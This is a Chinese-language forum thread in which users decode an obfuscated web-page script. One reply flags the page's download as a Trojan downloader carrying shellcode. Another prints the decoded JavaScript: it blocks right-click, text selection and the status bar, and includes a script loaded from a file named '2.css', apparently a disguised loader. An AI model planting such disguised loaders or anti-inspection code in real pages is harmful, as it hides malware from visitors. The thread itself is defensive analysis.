第一次接触这种，看起来好像是字符替换了，改如何解才对呢，对大虾们来说应该很容易

第一步先用cryptHTNL解密
然后弹筐了.......

自己分析下被

了解，谢谢啦，有没有教程介绍常用加密的教程，相当一部分没了解过

需要原网地址
嵌入的是下面，自己看看，不是再说
document.write(w);修改即可
<script src="2.css"></script>

可以就把你解密的上一步发出来看下
主要是要网址、
外带的下载应该是个
Suspicious.Trojan-Downloader.Unescape.ShellCode.c

用祥子的工具redoce中的Document.Write清除解，可得到以下代码。
null<script language=javascript>wU36=9843;if(document.all){function _dm(){return false};function _mdm(){document.oncontextmenu=_dm;setTimeout("_mdm()",800)};_mdm();}document.oncontextmenu=new Function("return false");function _ndm(e){if(document.layers||window.sidebar){if(e.which!=1)return false;}};if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=_ndm;}else{document.onmouseup=_ndm;};lN4=7554;bK69=1556;function _dws(){window.status = " ";setTimeout("_dws()",100);};_dws();iA83=983;hT39=8415;function _dds(){if(document.all){document.onselectstart=function (){return false};setTimeout("_dds()",700)}};_dds();gG99=9558;hJ11=4699;yU16=7557;kA63=8697;jN23=9840;zL88=3841;pV93=6700;;_licensed_to_="huyufeng";</script><script src="2.css"></script>

超级淫荡+偷懒的解密就是找到document.write(w)修改成alert(w)保存运行就OK咯!
